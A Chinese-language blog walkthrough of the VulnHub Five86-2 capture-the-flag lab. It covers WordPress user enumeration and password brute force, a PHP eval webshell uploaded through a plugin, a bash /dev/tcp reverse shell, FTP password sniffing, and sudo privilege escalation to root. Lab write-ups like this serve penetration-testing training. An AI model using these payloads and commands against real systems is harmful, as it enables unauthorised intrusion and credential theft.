vulnhub靶场之Five86-2

一.环境搭建

1.靶场描述

Five86-2 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场地址

https://www.vulnhub.com/entry/five86-2,418/
 

image-20240113205448765

3.启动环境

image-20240113205423777

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240113210129437

arp-scan -l
 

image-20240113210452368

靶场真实ip地址为192.168.52.133

(2)探测端口及服务

nmap -A -v -p- 192.168.52.133
 

image-20240113210410583

发现开启了21端口, ProFTPD 1.3.5e
发现开启了80端口,Apache httpd 2.4.41 ((Ubuntu))
 

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.133
 

image-20240113210542180

(3)web指纹识别

whatweb -v 192.168.52.133
 

我们可以看到有wordpress框架,看来是需要爆破的

3.渗透测试

(1)访问web服务

http://192.168.52.133
 

感觉页面好像不对劲,显示也有点问题

image-20240113210939830

点击其他链接的时候,会跳转到一个域名,但是无法访问,一般出现这个情况,应该是要设置本地的hosts文件,加上192.168.52.133 five86-2 即可,kali修改/etc/hosts文件即可

image-20240113211209004

image-20240113211231658

image-20240113211253423

现在可以看到页面显示正常了

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.133
 

image-20240113211447685

看来是wordpress,我们需要爆破用户名和密码

2)nikto扫描网站结构
nikto -h http://192.168.52.133
 

我们访问

http://192.168.52.133/wp-login.php
 

image-20240113212042983

wordpress的登录页面

3)dirsearch目录扫描
dirsearch -u 192.168.52.133 -e * -x 403 --random-agent
 

image-20240113212247939

只有wp-login.php是有用的,所以接下来我们进行爆破用户名和密码

(3)登录wordpress

1)爆破用户名
Wpscan一些常用语句:
wpscan --url http://xxxx
wpscan --url http://xxx --enumerate t 扫描主题
wpscan --url http://xxx --enumerate p 扫描插件
wpscan --url http://xxx --enumerate u 枚举用户
 
wpscan --url http://five86-2 --enumerate u 
 

image-20240113212829410

image-20240113212901529

爆破出来5个用户名

接下来我们制作字典

2)制作字典

把用户名写到一个文本中,用来暴破

由于 kali 自带的字典太大了,这里导出前 3 万行用来当字典

cd /usr/share/wordlists
head -30000 rockyou.txt > MS02423.txt
rockyou.txt.gz第一次是一个压缩包,需要我们进行解压
gzip -c -d rockyou.txt.gz > rockyou.txt
 

image-20240113214810520

使用 wpscan 暴破,得到两个账户的信息,-U 为暴破用户名的字典,-P 为暴破密码的字典(由于字典比较大,所以爆破时间比较长)我这里爆破了40分钟

wpscan --url http://192.168.52.133 -U /root/users.txt  -P MS02423.txt 
 

image-20240113214858239

得到两个账户的信息
barney/spooky1,stephen/apollo1

image-20240113230720023

3)登录

我们登录 barney/spooky1,可以发现3个插件我们进行查看

image-20240114201635955

第三个插件,大概意思是我们可以插入内容,这里我们使用一句话木马即可

在谷歌上搜索一下,不难搜到这个插件的RCE:WordPress插件IEAC漏洞分析及组合利用尝试,在exploit-db上也有

先生成poc.zip,
echo "hello" > index.html
echo "" > index.php
zip poc.zip index.html index.php
 

image-20240114201931528

这个我们先放一放,我们查看另一个用户

stephen/apollo1

image-20240114202159521

我们可以看到没有任何东西,那么我们就可以一句话木马

(4)漏洞利用

1)制作一句话木马

先创建一个文件夹,在文件夹里创建php和html文件,php文件里写入一句话,html随便写,只要能看到内容就可以

mkdir MS02423

vim 1.php
	<?php @eval($_POST['MS02423']);?>
	
# php文件

vim 1.html
	<h1>test</h1>
zip -r MS02423.zip 1.php 1.html

# html文件
 

image-20240114204139513

在Posts—>Add New,点击+号,选择e-Learing,点击UPLOAD

image-20240114204905184

image-20240114204526530

点击CHOOSE YOUR ZIP FILE选择上传的压缩包,然后点击旁边的UPLOAD

image-20240114204540741

然后访问

http://192.168.52.133/wp-content/uploads/articulate_uploads/MS02423/1.html
 

访问到上传文件夹里的html文件即可,url中的MS02423是上传文件夹的名称

image-20240114204644417

2)连接蚁剑

然后使用蚁剑连接文件夹中的1.php文件

http://192.168.52.133/wp-content/uploads/articulate_uploads/MS02423/1.php
 

image-20240114205423286

image-20240114205447352

我们可以看到连接成功

3)反弹shell

kali监听

nc -lvp 666666
 

image-20240114210159296

我们修改1.php内容

<?php
@eval($_POST['MS02423']);
system("bash -c 'bash -i >& /dev/tcp/192.168.52.152/666666 0>&1'")
?>
 

image-20240114210039405

我们访问

192.168.52.133/wp-content/uploads/articulate_uploads/MS02423/1.php
 

可以看到反弹成功

image-20240114210130063

获取交互式shell,这里python不行会报错,需要python3

python3 -c 'import pty;pty.spawn("/bin/sh")'
 

image-20240114210657326

执行sudo -l时提示需要密码

image-20240114210722236

看了一圈也没什么有用的,很多命令没权限,切换到stephen账户

image-20240114211015195

image-20240114211227887

4)查看ftp服务

还是没什么东西,扫描的时候还发现了ftp服务,发现有ftp的进程,属paul用户

image-20240114212236702

ftp是明文传输,进程执行的脚本文件看执行命令应该是个定时任务,尝试抓下包,要确定抓哪个网卡的流量,查看下网卡信息,ifconfig这里用不了,可以用ip add,veth是虚拟网卡,br可能是桥接网卡,veth的master是br,类似冗余链路,这里就抓master网卡,也就是br网卡

image-20240114212345906

用tcpdump抓br网卡的包
-D查看可监听网卡,timeout抓包时间,-w生成文件,-i网卡,-r读取pcap包
(如果一直抓不到包的话,可以重启下靶机)

tcpdump -D
timeout 120 tcpdump -w MS02423.pcap -i br-eca3858d86bf
tcpdump -r MS02423.pcap
 

把包的内容复制出来,发现有PASS字段,搜索PASS,发现密码esomepasswford

image-20240114213407806

(5)提升权限

我们登录paul用户,使用命令sudo -l

image-20240114214511349

发现可以免密执行peter用户的service命令

通过service命令进行提权,获取到peter用户权限, 直接/bin/bash会报错,不知道具体的路径,使用相对路径

sudo -u peter service ../../bin/bash
 

image-20240114214830549

再次sudo -l发现可以免密执行root的passwd命令
更改root账户的密码后,登录到root账户

sudo -u root passwd root
MS02423
su root
MS02423
 

image-20240114215115196

我们切换到root目录下,即可看到flag

image-20240114215252628

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.dirsearch目录扫描

9.wpscan工具的使用

10.蚁剑的使用

11.ftp服务

12.kali自带字典

  • 17
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值